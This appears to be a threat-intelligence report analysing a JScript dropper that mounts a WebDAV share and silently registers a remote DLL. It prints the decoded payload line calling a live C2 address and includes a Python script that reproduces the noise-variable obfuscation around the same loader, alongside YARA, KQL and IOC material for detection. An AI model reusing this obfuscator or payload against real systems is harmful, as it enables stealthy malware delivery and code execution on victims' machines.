fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcfunclassified-js-webdav-dropper: fa8c6d74 — noise-variable JScript concat dialect, WebDAV C2 94.159.113.204:8888
Executive Summary
A JScript/batch polyglot dropper belonging to the unclassified-js-webdav-dropper family. Uses a new obfuscation dialect: 64 noise-named JScript variables (15–20 random lowercase chars each) are concatenated via + inside a Function('return this')() scope to assemble a PowerShell -EncodedCommand cradle. The cradle mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. This is the sixty-fifth confirmed sibling in the family. Static-only (CAPE skipped — non-binary file type). ^[file.txt] ^[dynamic-analysis.md]
What It Is
- File:
81071909875822105.js(85,387 bytes) ^[triage.json] - Type: ASCII JScript, single line, no line terminators ^[file.txt]
- SHA-256:
fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf - Family:
unclassified-js-webdav-dropper(high confidence) — identical TTP chain to 64 prior siblings: WebDAV UNC mount ->regsvr32 /sremote DLL load. ^[entities/unclassified-js-webdav-dropper.md] - C2:
94.159.113.204:8888(new IP in the94.159.113.0/24range used by siblingf8dce7dfat.82) ^[strings.txt] - Payload:
18500214332387.dll(numeric filename pattern consistent with family) ^[strings.txt]
How It Works
Obfuscation — Noise-Variable Concatenation
The entire file is one JScript expression followed by 64 single-character variable assignments:
function fkmhhbbhoc()wraps the payload.- Inside the function,
Function(kinynfdnckxsdv+florfffatj+...)evaluates toFunction('return this')(), yielding the global object (JScript's equivalent ofwindowin WSH). ()[pexgdxfysk+...]resolves to['WScript'].['CreateObject']('WScript.Shell')obtains the WScript.Shell COM object.['run'](ENCODED_COMMAND, 0, false)spawns PowerShell in a hidden window with no wait. ^[strings.txt:1]
The ENCODED_COMMAND argument is itself assembled from the same 64 noise variables via + concatenation. After full decoding the inner payload is:
Function('return this')()['WScript']['CreateObject']('WScript.Shell')
['run']('powershell -EncodedCommand <BASE64>', 0, false)
Decoded PowerShell
UTF-16LE Base64 decode of the -EncodedCommand payload:
timeout 1;akhhqoarjziy;net use \\94.159.113.204@8888\davwwwroot\;anesytvgwd;
regsvr32 /s \\94.159.113.204@8888\davwwwroot\18500214332387.dll;hffyphscnwbb
Execution chain: timeout 1 (stall), net use (mount WebDAV), regsvr32 /s (silent DLL registration). The noise tokens akhhqoarjziy, anesytvgwd, hffyphscnwbb are no-ops (undefined bare words) that serve as anti-static padding. ^[strings.txt:1]
Anti-Analysis
- No sandbox gate — executes immediately on parse.
- No debugger/VM checks.
- No persistence — one-shot execution; no registry or scheduled-task modifications. ^[dynamic-analysis.md]
Decompiled Behavior
Not applicable — JScript source, not a PE. Static decode performed via Python regex substitution of the 64 variable assignments. No Ghidra/radare2 analysis required.
C2 Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| C2 IP | 94.159.113.204 |
WebDAV on port 8888; new host in family's 94.159.113.0/24 range |
| WebDAV path | \\94.159.113.204@8888\davwwwroot\ |
Standard IIS WebDAV UNC syntax |
| Payload | 18500214332387.dll |
Numeric-only filename (family pattern) |
| Execution | regsvr32 /s |
T1218.010 — silent system-binary proxy execution |
Interesting Tidbits
- Dialect novelty: Unlike prior siblings that used batch
SETexpansion or dictionary lookup tables, this sample uses pure JScript variable concatenation with noise names. This is the first observed family member to drop the batch/polyglot layer entirely and rely on a single JScript expression. ^[entities/unclassified-js-webdav-dropper.md] - Variable count: Exactly 64 variables — matching the 62-entry dictionary cardinality of siblings
e6ebae6a,fb353965, etc., but using a simpler assignment-and-concat model. - No decoy: Unlike batch siblings that launch
wordpadorcolor f0, this JScript variant has no visual decoy. - PowerShell wrapper: Uses
-EncodedCommand(UTF-16LE Base64) rather than plain-text command line, adding one more decode layer for analysts.
How To Mess With It (Homelab Replication)
Toolchain: Python 3 + Node.js (or Windows Script Host for live execution).
Reproduction script:
import base64
import random
import string
def generate_noise_var():
return ''.join(random.choices(string.ascii_lowercase, k=random.randint(15, 20)))
def obfuscate_js_command(cmd: str):
chars = list(set(cmd))
varmap = {}
for c in chars:
while True:
v = generate_noise_var()
if v not in varmap:
varmap[v] = c
break
assignments = []
for v, c in varmap.items():
assignments.append(f'{v}="{c}"')
parts = []
for c in cmd:
for v, ch in varmap.items():
if ch == c:
parts.append(v)
break
concat = '+'.join(parts)
payload = f'function f(){{Function({concat})()["WScript"]["CreateObject"]("WScript.Shell")["run"]({concat},0,false)}};f()'
return ";".join(assignments) + ";" + payload
cmd = 'powershell -EncodedCommand ' + base64.b64encode(
'net use \\<lan>@8888\davwwwroot\;regsvr32 /s \\<lan>@8888\davwwwroot\payload.dll'
.encode('utf-16le')).decode()
print(obfuscate_js_command(cmd))
Verification: Run the generated .js through your decoder — the decoded inner payload should match the original PowerShell command.
Deployable Signatures
YARA Rule
rule Unclassified_JS_WebDAV_Dropper_NoiseConcat {
meta:
description = "JScript WebDAV dropper — noise-variable concatenation dialect"
author = "pp-hermes"
reference = "/intel/analyses/fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf.html"
strings:
$a = "function fkmhhbbhoc()" ascii wide
$b = /Function\([a-z]{15,20}\+[a-z]{15,20}\+/ ascii wide
$c = "WScript.Shell" ascii wide
$d = /net use \\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@8888\davwwwroot/ ascii wide
$e = "regsvr32 /s" ascii wide
$f = "-EncodedCommand" ascii wide
condition:
filesize < 200KB and
#a >= 1 and
#b >= 5 and
($c and $d and $e) or
($c and $f and $e)
}
Behavioral Hunt Query (KQL / Microsoft Sentinel)
let webdav_ips = dynamic(["94.159.113.204", "94.159.113.82", "45.9.74.13", "45.9.74.32", "45.9.74.36"]);
DeviceNetworkEvents
| where RemoteIP in (webdav_ips) and RemotePort == 8888
| join kind=inner (DeviceProcessEvents
| where FileName in ("regsvr32.exe", "rundll32.exe")
| where CommandLine contains "\\" and CommandLine contains "davwwwroot"
) on $left.DeviceId == $right.DeviceId
| summarize arg_min(Timestamp, *) by DeviceId, AccountName
IOC List
| Type | Value |
|---|---|
| SHA-256 | fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf |
| Filename | 81071909875822105.js |
| C2 IP | 94.159.113.204 |
| C2 Port | 8888 |
| WebDAV UNC | \\94.159.113.204@8888\davwwwroot\ |
| Payload | 18500214332387.dll |
| MITRE ATT&CK | T1059.005 (JScript), T1059.001 (PowerShell), T1218.010 (Regsvr32), T1071.001 (WebDAV), T1105 (Ingress Tool Transfer) |
Detection Signatures
| Capability | ATT&CK | Evidence |
|---|---|---|
| JScript execution | T1059.005 | .js file parsed by WScript / cscript ^[file.txt] |
| PowerShell encoded command | T1059.001 | -EncodedCommand in decoded payload ^[strings.txt:1] |
| System binary proxy execution | T1218.010 | regsvr32 /s loads remote DLL ^[strings.txt:1] |
| WebDAV ingress tool transfer | T1105 | net use mounts remote share, DLL fetched over HTTP/WebDAV ^[strings.txt:1] |
| Obfuscated files | T1027 | 64-variable noise concatenation, single-line expression ^[strings.txt:1] |
References
- Artifact ID:
e6a04d48-fe20-4701-ba80-18b757e84dda - Source: MalwareBazaar via OpenCTI
- Family entity: unclassified-js-webdav-dropper
- Technique: webdav-regsvr32-dll-sideloading
Provenance
file.txt—fileutility v5.44strings.txt— Python regex extraction of noise-variable assignments and concatenation chainsdynamic-analysis.md— CAPE v2.4 skipped (non-binary file type)- Decoded via custom Python script: variable assignment extraction -> multi-pass concatenation decode -> Base64 -> UTF-16LE decode